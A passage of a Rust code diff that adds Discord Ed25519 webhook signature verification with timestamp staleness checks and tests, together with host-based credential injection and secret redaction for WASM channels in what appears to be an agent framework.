.header("x-signature-ed25519", "deadbeefdeadbeef")
|
||||
.header("x-signature-timestamp", "1234567890")
|
||||
.body(Body::from(r#"{"type":1}"#))
|
||||
.unwrap();
|
||||
|
||||
let resp = app.oneshot(req).await.unwrap();
|
||||
assert_eq!(
|
||||
resp.status(),
|
||||
StatusCode::UNAUTHORIZED,
|
||||
"Invalid signature should return 401"
|
||||
);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_webhook_accepts_valid_signature() {
|
||||
let (wasm_router, app) = setup_discord_router().await;
|
||||
|
||||
let signing_key = test_signing_key();
|
||||
let pub_key_hex = hex::encode(signing_key.verifying_key().to_bytes());
|
||||
wasm_router
|
||||
.register_signature_key("discord", &pub_key_hex)
|
||||
.await
|
||||
.unwrap();
|
||||
|
||||
// Use current timestamp so staleness check passes
|
||||
let now_secs = std::time::SystemTime::now()
|
||||
.duration_since(std::time::UNIX_EPOCH)
|
||||
.unwrap()
|
||||
.as_secs();
|
||||
let timestamp = now_secs.to_string();
|
||||
let body_bytes = br#"{"type":1}"#;
|
||||
|
||||
let mut message = Vec::new();
|
||||
message.extend_from_slice(timestamp.as_bytes());
|
||||
message.extend_from_slice(body_bytes);
|
||||
let signature = signing_key.sign(&message);
|
||||
let sig_hex = hex::encode(signature.to_bytes());
|
||||
|
||||
let req = Request::builder()
|
||||
.method("POST")
|
||||
.uri("/webhook/discord")
|
||||
.header("content-type", "application/json")
|
||||
.header("x-signature-ed25519", &sig_hex)
|
||||
.header("x-signature-timestamp", ×tamp)
|
||||
.body(Body::from(&body_bytes[..]))
|
||||
.unwrap();
|
||||
|
||||
let resp = app.oneshot(req).await.unwrap();
|
||||
// Should NOT be 401 — signature is valid (may be 500 since no WASM module)
|
||||
assert_ne!(
|
||||
resp.status(),
|
||||
StatusCode::UNAUTHORIZED,
|
||||
"Valid signature should not return 401"
|
||||
);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_webhook_skips_sig_for_no_key() {
|
||||
let (_wasm_router, app) = setup_discord_router().await;
|
||||
|
||||
// No signature key registered — should not require signature
|
||||
let req = Request::builder()
|
||||
.method("POST")
|
||||
.uri("/webhook/discord")
|
||||
.header("content-type", "application/json")
|
||||
.body(Body::from(r#"{"type":1}"#))
|
||||
.unwrap();
|
||||
|
||||
let resp = app.oneshot(req).await.unwrap();
|
||||
// Should NOT be 401 (may be 500 since no WASM module, but not auth failure)
|
||||
assert_ne!(
|
||||
resp.status(),
|
||||
StatusCode::UNAUTHORIZED,
|
||||
"No signature key registered — should skip sig check"
|
||||
);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_webhook_sig_check_uses_body() {
|
||||
let (wasm_router, app) = setup_discord_router().await;
|
||||
|
||||
let signing_key = test_signing_key();
|
||||
let pub_key_hex = hex::encode(signing_key.verifying_key().to_bytes());
|
||||
wasm_router
|
||||
.register_signature_key("discord", &pub_key_hex)
|
||||
.await
|
||||
.unwrap();
|
||||
|
||||
let timestamp = "1234567890";
|
||||
// Sign body A
|
||||
let body_a = br#"{"type":1}"#;
|
||||
let mut message = Vec::new();
|
||||
message.extend_from_slice(timestamp.as_bytes());
|
||||
message.extend_from_slice(body_a);
|
||||
let signature = signing_key.sign(&message);
|
||||
let sig_hex = hex::encode(signature.to_bytes());
|
||||
|
||||
// But send body B
|
||||
let body_b = br#"{"type":2}"#;
|
||||
let req = Request::builder()
|
||||
.method("POST")
|
||||
.uri("/webhook/discord")
|
||||
.header("content-type", "application/json")
|
||||
.header("x-signature-ed25519", &sig_hex)
|
||||
.header("x-signature-timestamp", timestamp)
|
||||
.body(Body::from(&body_b[..]))
|
||||
.unwrap();
|
||||
|
||||
let resp = app.oneshot(req).await.unwrap();
|
||||
assert_eq!(
|
||||
resp.status(),
|
||||
StatusCode::UNAUTHORIZED,
|
||||
"Signature for different body should return 401"
|
||||
);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_webhook_sig_check_uses_timestamp() {
|
||||
let (wasm_router, app) = setup_discord_router().await;
|
||||
|
||||
let signing_key = test_signing_key();
|
||||
let pub_key_hex = hex::encode(signing_key.verifying_key().to_bytes());
|
||||
wasm_router
|
||||
.register_signature_key("discord", &pub_key_hex)
|
||||
.await
|
||||
.unwrap();
|
||||
|
||||
// Sign with timestamp A
|
||||
let timestamp_a = "1234567890";
|
||||
let body = br#"{"type":1}"#;
|
||||
let mut message = Vec::new();
|
||||
message.extend_from_slice(timestamp_a.as_bytes());
|
||||
message.extend_from_slice(body);
|
||||
let signature = signing_key.sign(&message);
|
||||
let sig_hex = hex::encode(signature.to_bytes());
|
||||
|
||||
// But send timestamp B in the header
|
||||
let timestamp_b = "9999999999";
|
||||
let req = Request::builder()
|
||||
.method("POST")
|
||||
.uri("/webhook/discord")
|
||||
.header("content-type", "application/json")
|
||||
.header("x-signature-ed25519", &sig_hex)
|
||||
.header("x-signature-timestamp", timestamp_b)
|
||||
.body(Body::from(&body[..]))
|
||||
.unwrap();
|
||||
|
||||
let resp = app.oneshot(req).await.unwrap();
|
||||
assert_eq!(
|
||||
resp.status(),
|
||||
StatusCode::UNAUTHORIZED,
|
||||
"Signature with mismatched timestamp should return 401"
|
||||
);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_webhook_sig_plus_secret() {
|
||||
let wasm_router = Arc::new(WasmChannelRouter::new());
|
||||
let channel = create_test_channel("discord");
|
||||
|
||||
let endpoints = vec![RegisteredEndpoint {
|
||||
channel_name: "discord".to_string(),
|
||||
path: "/webhook/discord".to_string(),
|
||||
methods: vec!["POST".to_string()],
|
||||
require_secret: true,
|
||||
}];
|
||||
|
||||
// Register with BOTH secret and signature key
|
||||
wasm_router
|
||||
.register(channel, endpoints, Some("my-secret".to_string()), None)
|
||||
.await;
|
||||
|
||||
let signing_key = test_signing_key();
|
||||
let pub_key_hex = hex::encode(signing_key.verifying_key().to_bytes());
|
||||
wasm_router
|
||||
.register_signature_key("discord", &pub_key_hex)
|
||||
.await
|
||||
.unwrap();
|
||||
|
||||
let app = create_wasm_channel_router(wasm_router.clone(), None);
|
||||
|
||||
// Use current timestamp so staleness check passes
|
||||
let now_secs = std::time::SystemTime::now()
|
||||
.duration_since(std::time::UNIX_EPOCH)
|
||||
.unwrap()
|
||||
.as_secs();
|
||||
let timestamp = now_secs.to_string();
|
||||
let body = br#"{"type":1}"#;
|
||||
let mut message = Vec::new();
|
||||
message.extend_from_slice(timestamp.as_bytes());
|
||||
message.extend_from_slice(body);
|
||||
let signature = signing_key.sign(&message);
|
||||
let sig_hex = hex::encode(signature.to_bytes());
|
||||
|
||||
// Provide valid signature AND valid secret
|
||||
let req = Request::builder()
|
||||
.method("POST")
|
||||
.uri("/webhook/discord?secret=my-secret")
|
||||
.header("content-type", "application/json")
|
||||
.header("x-signature-ed25519", &sig_hex)
|
||||
.header("x-signature-timestamp", ×tamp)
|
||||
.body(Body::from(&body[..]))
|
||||
.unwrap();
|
||||
|
||||
let resp = app.oneshot(req).await.unwrap();
|
||||
// Should pass both checks (may be 500 due to no WASM module, but not 401)
|
||||
assert_ne!(
|
||||
resp.status(),
|
||||
StatusCode::UNAUTHORIZED,
|
||||
"Valid secret + valid signature should not return 401"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -111,6 +111,18 @@ impl ChannelCapabilitiesFile {
|
||||
.and_then(|w| w.secret_header.as_deref())
|
||||
}
|
||||
|
||||
/// Get the signature verification key secret name for this channel.
|
||||
///
|
||||
/// Returns the secret name declared in `webhook.signature_key_secret_name`,
|
||||
/// used to look up the Ed25519 public key in the secrets store.
|
||||
pub fn signature_key_secret_name(&self) -> Option<&str> {
|
||||
self.capabilities
|
||||
.channel
|
||||
.as_ref()
|
||||
.and_then(|c| c.webhook.as_ref())
|
||||
.and_then(|w| w.signature_key_secret_name.as_deref())
|
||||
}
|
||||
|
||||
/// Get the webhook secret name for this channel.
|
||||
///
|
||||
/// Returns the configured secret name or defaults to "{channel_name}_webhook_secret".
|
||||
@@ -230,6 +242,11 @@ pub struct WebhookSchema {
|
||||
/// Default: "{channel_name}_webhook_secret"
|
||||
#[serde(default)]
|
||||
pub secret_name: Option<String>,
|
||||
|
||||
/// Secret name in secrets store containing the Ed25519 public key
|
||||
/// for signature verification (e.g., Discord interaction verification).
|
||||
#[serde(default)]
|
||||
pub signature_key_secret_name: Option<String>,
|
||||
}
|
||||
|
||||
/// Setup configuration schema.
|
||||
@@ -585,4 +602,90 @@ mod tests {
|
||||
64
|
||||
);
|
||||
}
|
||||
|
||||
// ── Category 5: Discord Capabilities Setup & Configuration ──────────
|
||||
|
||||
#[test]
|
||||
fn test_discord_capabilities_has_public_key_secret() {
|
||||
let json = include_str!("../../../channels-src/discord/discord.capabilities.json");
|
||||
let file = ChannelCapabilitiesFile::from_json(json).unwrap();
|
||||
|
||||
let secret_names: Vec<&str> = file
|
||||
.setup
|
||||
.required_secrets
|
||||
.iter()
|
||||
.map(|s| s.name.as_str())
|
||||
.collect();
|
||||
|
||||
assert!(
|
||||
secret_names.contains(&"discord_public_key"),
|
||||
"discord.capabilities.json must include discord_public_key in setup.required_secrets, \
|
||||
found: {:?}",
|
||||
secret_names
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_webhook_schema_signature_key_secret_name() {
|
||||
let json = r#"{
|
||||
"name": "discord",
|
||||
"capabilities": {
|
||||
"channel": {
|
||||
"allowed_paths": ["/webhook/discord"],
|
||||
"webhook": {
|
||||
"signature_key_secret_name": "discord_public_key"
|
||||
}
|
||||
}
|
||||
}
|
||||
}"#;
|
||||
|
||||
let file = ChannelCapabilitiesFile::from_json(json).unwrap();
|
||||
assert_eq!(file.signature_key_secret_name(), Some("discord_public_key"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_signature_key_secret_name_none_when_missing() {
|
||||
let json = r#"{
|
||||
"name": "telegram",
|
||||
"capabilities": {
|
||||
"channel": {
|
||||
"allowed_paths": ["/webhook/telegram"],
|
||||
"webhook": {
|
||||
"secret_header": "X-Telegram-Bot-Api-Secret-Token"
|
||||
}
|
||||
}
|
||||
}
|
||||
}"#;
|
||||
|
||||
let file = ChannelCapabilitiesFile::from_json(json).unwrap();
|
||||
assert_eq!(file.signature_key_secret_name(), None);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_discord_capabilities_signature_key() {
|
||||
let json = include_str!("../../../channels-src/discord/discord.capabilities.json");
|
||||
let file = ChannelCapabilitiesFile::from_json(json).unwrap();
|
||||
assert_eq!(
|
||||
file.signature_key_secret_name(),
|
||||
Some("discord_public_key"),
|
||||
"discord.capabilities.json must declare signature_key_secret_name"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_discord_capabilities_secrets_allowlist() {
|
||||
let json = include_str!("../../../channels-src/discord/discord.capabilities.json");
|
||||
let file = ChannelCapabilitiesFile::from_json(json).unwrap();
|
||||
|
||||
let caps = file.to_capabilities();
|
||||
let secrets_caps = caps
|
||||
.tool_capabilities
|
||||
.secrets
|
||||
.expect("Discord should have secrets capability");
|
||||
|
||||
assert!(
|
||||
secrets_caps.is_allowed("discord_public_key"),
|
||||
"discord_public_key must be in the secrets allowlist"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,341 @@
|
||||
//! Discord Ed25519 signature verification.
|
||||
//!
|
||||
//! Validates `X-Signature-Ed25519` and `X-Signature-Timestamp` headers
|
||||
//! on incoming Discord interaction webhooks, per Discord's security requirements.
|
||||
//!
|
||||
//! See: <https://discord.com/developers/docs/interactions/overview#validating-security-request-headers>
|
||||
|
||||
/// Verify a Discord interaction signature.
|
||||
///
|
||||
/// Discord signs each interaction with Ed25519 using:
|
||||
/// - message = `timestamp` (UTF-8 bytes) ++ `body` (raw bytes)
|
||||
/// - signature = Ed25519 detached signature (hex-encoded in header)
|
||||
/// - public_key = Application public key from Developer Portal (hex-encoded)
|
||||
///
|
||||
/// Returns `true` if the signature is valid, `false` on any error
|
||||
/// (bad hex, wrong length, invalid signature, etc.).
|
||||
pub fn verify_discord_signature(
|
||||
public_key_hex: &str,
|
||||
signature_hex: &str,
|
||||
timestamp: &str,
|
||||
body: &[u8],
|
||||
now_secs: i64,
|
||||
) -> bool {
|
||||
// Staleness check: reject non-numeric or stale/future timestamps
|
||||
let ts: i64 = match timestamp.parse() {
|
||||
Ok(v) => v,
|
||||
Err(_) => return false,
|
||||
};
|
||||
if (now_secs - ts).abs() > 5 {
|
||||
return false;
|
||||
}
|
||||
use ed25519_dalek::{Signature, VerifyingKey};
|
||||
|
||||
let Ok(sig_bytes) = hex::decode(signature_hex) else {
|
||||
return false;
|
||||
};
|
||||
let Ok(key_bytes) = hex::decode(public_key_hex) else {
|
||||
return false;
|
||||
};
|
||||
let Ok(signature) = Signature::from_slice(&sig_bytes) else {
|
||||
return false;
|
||||
};
|
||||
let Ok(verifying_key) = VerifyingKey::try_from(key_bytes.as_slice()) else {
|
||||
return false;
|
||||
};
|
||||
|
||||
let mut message = Vec::with_capacity(timestamp.len() + body.len());
|
||||
message.extend_from_slice(timestamp.as_bytes());
|
||||
message.extend_from_slice(body);
|
||||
verifying_key.verify_strict(&message, &signature).is_ok()
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use ed25519_dalek::{Signer, SigningKey};
|
||||
|
||||
/// Helper: generate a test keypair and produce a valid signature for the given timestamp+body.
|
||||
fn sign_test_message(timestamp: &str, body: &[u8]) -> (String, String, String) {
|
||||
let signing_key = SigningKey::from_bytes(&[
|
||||
0x9d, 0x61, 0xb1, 0x9d, 0xef, 0xfd, 0x5a, 0x60, 0xba, 0x84, 0x4a, 0xf4, 0x92, 0xec,
|
||||
0x2c, 0xc4, 0x44, 0x49, 0xc5, 0x69, 0x7b, 0x32, 0x69, 0x19, 0x70, 0x3b, 0xac, 0x03,
|
||||
0x1c, 0xae, 0x7f, 0x60,
|
||||
]);
|
||||
let verifying_key = signing_key.verifying_key();
|
||||
|
||||
let mut message = Vec::new();
|
||||
message.extend_from_slice(timestamp.as_bytes());
|
||||
message.extend_from_slice(body);
|
||||
|
||||
let signature = signing_key.sign(&message);
|
||||
|
||||
let public_key_hex = hex::encode(verifying_key.to_bytes());
|
||||
let signature_hex = hex::encode(signature.to_bytes());
|
||||
|
||||
(public_key_hex, signature_hex, timestamp.to_string())
|
||||
}
|
||||
|
||||
// ── Category 2: Ed25519 Signature Verification ──────────────────────
|
||||
|
||||
/// Existing tests pass `now_secs` matching their hardcoded timestamp
|
||||
/// so they continue testing crypto-only behavior.
|
||||
const TEST_TS: i64 = 1234567890;
|
||||
|
||||
#[test]
|
||||
fn test_valid_signature_succeeds() {
|
||||
let timestamp = "1234567890";
|
||||
let body = b"test body content";
|
||||
let (pub_key, sig, ts) = sign_test_message(timestamp, body);
|
||||
|
||||
assert!(
|
||||
verify_discord_signature(&pub_key, &sig, &ts, body, TEST_TS),
|
||||
"Valid signature should verify successfully"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_invalid_signature_fails() {
|
||||
let timestamp = "1234567890";
|
||||
let body = b"test body content";
|
||||
let (pub_key, mut sig, ts) = sign_test_message(timestamp, body);
|
||||
|
||||
// Tamper one byte of the signature
|
||||
let mut sig_bytes = hex::decode(&sig).unwrap();
|
||||
sig_bytes[0] ^= 0xff;
|
||||
sig = hex::encode(&sig_bytes);
|
||||
|
||||
assert!(
|
||||
!verify_discord_signature(&pub_key, &sig, &ts, body, TEST_TS),
|
||||
"Tampered signature should fail verification"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_tampered_body_fails() {
|
||||
let timestamp = "1234567890";
|
||||
let body = b"original body";
|
||||
let (pub_key, sig, ts) = sign_test_message(timestamp, body);
|
||||
|
||||
let tampered_body = b"tampered body";
|
||||
assert!(
|
||||
!verify_discord_signature(&pub_key, &sig, &ts, tampered_body, TEST_TS),
|
||||
"Signature for different body should fail"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_tampered_timestamp_fails() {
|
||||
let timestamp = "1234567890";
|
||||
let body = b"test body";
|
||||
let (pub_key, sig, _ts) = sign_test_message(timestamp, body);
|
||||
|
||||
assert!(
|
||||
!verify_discord_signature(&pub_key, &sig, "9999999999", body, TEST_TS),
|
||||
"Signature with wrong timestamp should fail"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_invalid_hex_signature_fails() {
|
||||
let timestamp = "1234567890";
|
||||
let body = b"test body";
|
||||
let (pub_key, _sig, ts) = sign_test_message(timestamp, body);
|
||||
|
||||
assert!(
|
||||
!verify_discord_signature(&pub_key, "not-valid-hex-zzz", &ts, body, TEST_TS),
|
||||
"Non-hex signature should fail gracefully"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_invalid_hex_public_key_fails() {
|
||||
let timestamp = "1234567890";
|
||||
let body = b"test body";
|
||||
let (_pub_key, sig, ts) = sign_test_message(timestamp, body);
|
||||
|
||||
assert!(
|
||||
!verify_discord_signature("not-valid-hex-zzz", &sig, &ts, body, TEST_TS),
|
||||
"Non-hex public key should fail gracefully"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_wrong_length_signature_fails() {
|
||||
let timestamp = "1234567890";
|
||||
let body = b"test body";
|
||||
let (pub_key, _sig, ts) = sign_test_message(timestamp, body);
|
||||
|
||||
// Too short (only 32 bytes instead of 64)
|
||||
let short_sig = hex::encode([0u8; 32]);
|
||||
assert!(
|
||||
!verify_discord_signature(&pub_key, &short_sig, &ts, body, TEST_TS),
|
||||
"Short signature should fail"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_wrong_length_public_key_fails() {
|
||||
let timestamp = "1234567890";
|
||||
let body = b"test body";
|
||||
let (_pub_key, sig, ts) = sign_test_message(timestamp, body);
|
||||
|
||||
// Too short (only 16 bytes instead of 32)
|
||||
let short_key = hex::encode([0u8; 16]);
|
||||
assert!(
|
||||
!verify_discord_signature(&short_key, &sig, &ts, body, TEST_TS),
|
||||
"Short public key should fail"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_empty_body_valid_signature() {
|
||||
let timestamp = "1234567890";
|
||||
let body = b"";
|
||||
let (pub_key, sig, ts) = sign_test_message(timestamp, body);
|
||||
|
||||
assert!(
|
||||
verify_discord_signature(&pub_key, &sig, &ts, body, TEST_TS),
|
||||
"Empty body with valid signature should succeed"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_discord_reference_vector() {
|
||||
// Hardcoded test vector using the RFC 8032 test key
|
||||
// This ensures the implementation matches the standard Ed25519 algorithm
|
||||
let signing_key = SigningKey::from_bytes(&[
|
||||
0xc5, 0xaa, 0x8d, 0xf4, 0x3f, 0x9f, 0x83, 0x7b, 0xed, 0xb7, 0x44, 0x2f, 0x31, 0xdc,
|
||||
0xb7, 0xb1, 0x66, 0xd3, 0x85, 0x35, 0x07, 0x6f, 0x09, 0x4b, 0x85, 0xce, 0x3a, 0x2e,
|
||||
0x0b, 0x44, 0x58, 0xf7,
|
||||
]);
|
||||
let verifying_key = signing_key.verifying_key();
|
||||
let public_key_hex = hex::encode(verifying_key.to_bytes());
|
||||
|
||||
let timestamp = "1609459200";
|
||||
let now_secs: i64 = 1609459200;
|
||||
let body = br#"{"type":1}"#; // Discord PING
|
||||
|
||||
let mut message = Vec::new();
|
||||
message.extend_from_slice(timestamp.as_bytes());
|
||||
message.extend_from_slice(body);
|
||||
|
||||
let signature = signing_key.sign(&message);
|
||||
let signature_hex = hex::encode(signature.to_bytes());
|
||||
|
||||
assert!(
|
||||
verify_discord_signature(&public_key_hex, &signature_hex, timestamp, body, now_secs),
|
||||
"Reference vector should verify"
|
||||
);
|
||||
|
||||
// Same key, but tampered body should fail
|
||||
assert!(
|
||||
!verify_discord_signature(
|
||||
&public_key_hex,
|
||||
&signature_hex,
|
||||
timestamp,
|
||||
br#"{"type":2}"#,
|
||||
now_secs
|
||||
),
|
||||
"Reference vector with tampered body should fail"
|
||||
);
|
||||
}
|
||||
|
||||
// ── Category: Timestamp Staleness ─────────────────────────────────
|
||||
|
||||
#[test]
|
||||
fn test_stale_timestamp_rejected() {
|
||||
let timestamp = "1234567890";
|
||||
let body = b"test body";
|
||||
let (pub_key, sig, ts) = sign_test_message(timestamp, body);
|
||||
// now_secs is 100 seconds after the timestamp — too stale
|
||||
assert!(
|
||||
!verify_discord_signature(&pub_key, &sig, &ts, body, TEST_TS + 100),
|
||||
"Stale timestamp (100s old) should be rejected"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_future_timestamp_rejected() {
|
||||
let timestamp = "1234567890";
|
||||
let body = b"test body";
|
||||
let (pub_key, sig, ts) = sign_test_message(timestamp, body);
|
||||
// now_secs is 100 seconds before the timestamp — future
|
||||
assert!(
|
||||
!verify_discord_signature(&pub_key, &sig, &ts, body, TEST_TS - 100),
|
||||
"Future timestamp (100s ahead) should be rejected"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_fresh_timestamp_accepted() {
|
||||
let timestamp = "1234567890";
|
||||
let body = b"test body";
|
||||
let (pub_key, sig, ts) = sign_test_message(timestamp, body);
|
||||
// now_secs matches exactly — fresh
|
||||
assert!(
|
||||
verify_discord_signature(&pub_key, &sig, &ts, body, TEST_TS),
|
||||
"Fresh timestamp (0s difference) should be accepted"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_non_numeric_timestamp_rejected() {
|
||||
let timestamp = "1234567890";
|
||||
let body = b"test body";
|
||||
let (pub_key, sig, _ts) = sign_test_message(timestamp, body);
|
||||
// Pass a non-numeric timestamp string
|
||||
assert!(
|
||||
!verify_discord_signature(&pub_key, &sig, "not-a-number", body, 0),
|
||||
"Non-numeric timestamp should be rejected"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_empty_timestamp_rejected() {
|
||||
let timestamp = "1234567890";
|
||||
let body = b"test body";
|
||||
let (pub_key, sig, _ts) = sign_test_message(timestamp, body);
|
||||
// Pass an empty timestamp string
|
||||
assert!(
|
||||
!verify_discord_signature(&pub_key, &sig, "", body, 0),
|
||||
"Empty timestamp should be rejected"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_boundary_5s_accepted() {
|
||||
let timestamp = "1234567890";
|
||||
let body = b"test body";
|
||||
let (pub_key, sig, ts) = sign_test_message(timestamp, body);
|
||||
// Exactly 5 seconds difference — should be accepted (> 5, not >= 5)
|
||||
assert!(
|
||||
verify_discord_signature(&pub_key, &sig, &ts, body, TEST_TS + 5),
|
||||
"Timestamp exactly 5s old should be accepted"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_boundary_6s_rejected() {
|
||||
let timestamp = "1234567890";
|
||||
let body = b"test body";
|
||||
let (pub_key, sig, ts) = sign_test_message(timestamp, body);
|
||||
// 6 seconds difference — should be rejected
|
||||
assert!(
|
||||
!verify_discord_signature(&pub_key, &sig, &ts, body, TEST_TS + 6),
|
||||
"Timestamp 6s old should be rejected"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_negative_timestamp_rejected() {
|
||||
let timestamp = "1234567890";
|
||||
let body = b"test body";
|
||||
let (pub_key, sig, _ts) = sign_test_message(timestamp, body);
|
||||
// Pass a negative timestamp string
|
||||
assert!(
|
||||
!verify_discord_signature(&pub_key, &sig, "-1", body, TEST_TS),
|
||||
"Negative timestamp should be rejected"
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -52,8 +52,12 @@ use crate::channels::{Channel, IncomingMessage, MessageStream, OutgoingResponse,
|
||||
use crate::error::ChannelError;
|
||||
use crate::pairing::PairingStore;
|
||||
use crate::safety::LeakDetector;
|
||||
use crate::secrets::SecretsStore;
|
||||
use crate::tools::wasm::LogLevel;
|
||||
use crate::tools::wasm::WasmResourceLimiter;
|
||||
use crate::tools::wasm::credential_injector::{
|
||||
InjectedCredentials, host_matches_pattern, inject_credential,
|
||||
};
|
||||
|
||||
// Generate component model bindings from the WIT file
|
||||
wasmtime::component::bindgen!({
|
||||
@@ -65,6 +69,23 @@ wasmtime::component::bindgen!({
|
||||
},
|
||||
});
|
||||
|
||||
/// Pre-resolved credential for host-based injection.
|
||||
///
|
||||
/// Built before each WASM execution by decrypting secrets from the store.
|
||||
/// Applied per-request by matching the URL host against `host_patterns`.
|
||||
/// WASM channels never see the raw secret values.
|
||||
#[derive(Clone)]
|
||||
struct ResolvedHostCredential {
|
||||
/// Host patterns this credential applies to (e.g., "api.slack.com").
|
||||
host_patterns: Vec<String>,
|
||||
/// Headers to add to matching requests (e.g., "Authorization: Bearer ...").
|
||||
headers: HashMap<String, String>,
|
||||
/// Query parameters to add to matching requests.
|
||||
query_params: HashMap<String, String>,
|
||||
/// Raw secret value for redaction in error messages.
|
||||
secret_value: String,
|
||||
}
|
||||
|
||||
/// Store data for WASM channel execution.
|
||||
///
|
||||
/// Contains the resource limiter, channel-specific host state, and WASI context.
|
||||
@@ -76,6 +97,9 @@ struct ChannelStoreData {
|
||||
/// Injected credentials for URL substitution (e.g., bot tokens).
|
||||
/// Keys are placeholder names like "TELEGRAM_BOT_TOKEN".
|
||||
credentials: HashMap<String, String>,
|
||||
/// Pre-resolved credentials for automatic host-based injection.
|
||||
/// Applied per-request by matching the URL host against host_patterns.
|
||||
host_credentials: Vec<ResolvedHostCredential>,
|
||||
/// Pairing store for DM pairing (guest access control).
|
||||
pairing_store: Arc<PairingStore>,
|
||||
/// Dedicated tokio runtime for HTTP requests, lazily initialized.
|
||||
@@ -89,6 +113,7 @@ impl ChannelStoreData {
|
||||
channel_name: &str,
|
||||
capabilities: ChannelCapabilities,
|
||||
credentials: HashMap<String, String>,
|
||||
host_credentials: Vec<ResolvedHostCredential>,
|
||||
pairing_store: Arc<PairingStore>,
|
||||
) -> Self {
|
||||
// Create a minimal WASI context (no filesystem, no env vars for security)
|
||||
@@ -100,6 +125,7 @@ impl ChannelStoreData {
|
||||
wasi,
|
||||
table: ResourceTable::new(),
|
||||
credentials,
|
||||
host_credentials,
|
||||
pairing_store,
|
||||
http_runtime: None,
|
||||
}
|
||||
@@ -159,15 +185,74 @@ impl ChannelStoreData {
|
||||
/// return values to WASM. reqwest::Error includes the full URL in its
|
||||
/// Display output, so any error from an injected-URL request will
|
||||
/// contain the raw credential unless we scrub it.
|
||||
///
|
||||
/// Scrubs raw, URL-encoded, and Base64-encoded forms of each secret
|
||||
/// to prevent exfiltration via encoded representations in error strings.
|
||||
fn redact_credentials(&self, text: &str) -> String {
|
||||
let mut result = text.to_string();
|
||||
for (name, value) in &self.credentials {
|
||||
if !value.is_empty() {
|
||||
result = result.replace(value, &format!("[REDACTED:{}]", name));
|
||||
let tag = format!("[REDACTED:{}]", name);
|
||||
result = result.replace(value, &tag);
|
||||
// Also redact URL-encoded form (covers secrets in query strings)
|
||||
let encoded = urlencoding::encode(value);
|
||||
if encoded != *value {
|
||||
result = result.replace(encoded.as_ref(), &tag);
|
||||
}
|
||||
}
|
||||
}
|
||||
for cred in &self.host_credentials {
|
||||
if !cred.secret_value.is_empty() {
|
||||
let tag = "[REDACTED:host_credential]";
|
||||
result = result.replace(&cred.secret_value, tag);
|
||||
// Also redact URL-encoded form (covers secrets injected as query params)
|
||||
let encoded = urlencoding::encode(&cred.secret_value);
|
||||
if encoded.as_ref() != cred.secret_value {
|
||||
result = result.replace(encoded.as_ref(), tag);
|
||||
}
|
||||
}
|
||||
}
|
||||
result
|
||||
}
|
||||
|
||||
/// Inject pre-resolved host credentials into the request.
|
||||
///
|
||||
/// Matches the URL host against each resolved credential's host_patterns.
|
||||
/// Matching credentials have their headers merged and query params appended.
|
||||
fn inject_host_credentials(
|
||||
&self,
|
||||
url_host: &str,
|
||||
headers: &mut HashMap<String, String>,
|
||||
url: &mut String,
|
||||
) {
|
||||
for cred in &self.host_credentials {
|
||||
let matches = cred
|
||||
.host_patterns
|
||||
.iter()
|
||||
.any(|pattern| host_matches_pattern(url_host, pattern));
|
||||
|
||||
if !matches {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Merge injected headers (host credentials take precedence)
|
||||
for (key, value) in &cred.headers {
|
||||
headers.insert(key.clone(), value.clone());
|
||||
}
|
||||
|
||||
// Append query parameters to URL
|
||||
if !cred.query_params.is_empty() {
|
||||
if let Ok(mut parsed_url) = url::Url::parse(url) {
|
||||
for (name, value) in &cred.query_params {
|
||||
parsed_url.query_pairs_mut().append_pair(name, value);
|
||||
}
|
||||
*url = parsed_url.to_string();
|
||||
} else {
|
||||
tracing::warn!(url = %url, "Could not parse URL to inject query parameters; skipping injection");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Implement WasiView to provide WASI context and resource table
|
||||
@@ -249,7 +334,7 @@ impl near::agent::channel_host::Host for ChannelStoreData {
|
||||
let raw_headers: std::collections::HashMap<String, String> =
|
||||
serde_json::from_str(&headers_json).unwrap_or_default();
|
||||
|
||||
let headers: std::collections::HashMap<String, String> = raw_headers
|
||||
let mut headers: std::collections::HashMap<String, String> = raw_headers
|
||||
.into_iter()
|
||||
.map(|(k, v)| {
|
||||
(
|
||||
@@ -268,7 +353,12 @@ impl near::agent::channel_host::Host for ChannelStoreData {
|
||||
"Parsed and injected request headers"
|
||||
);
|
||||
|
||||
let url = injected_url;
|
||||
let mut url = injected_url;
|
||||
|
||||
// Leak scan runs on WASM-provided values BEFORE host credential injection.
|
||||
// This prevents false positives where the host-injected Bearer token
|
||||
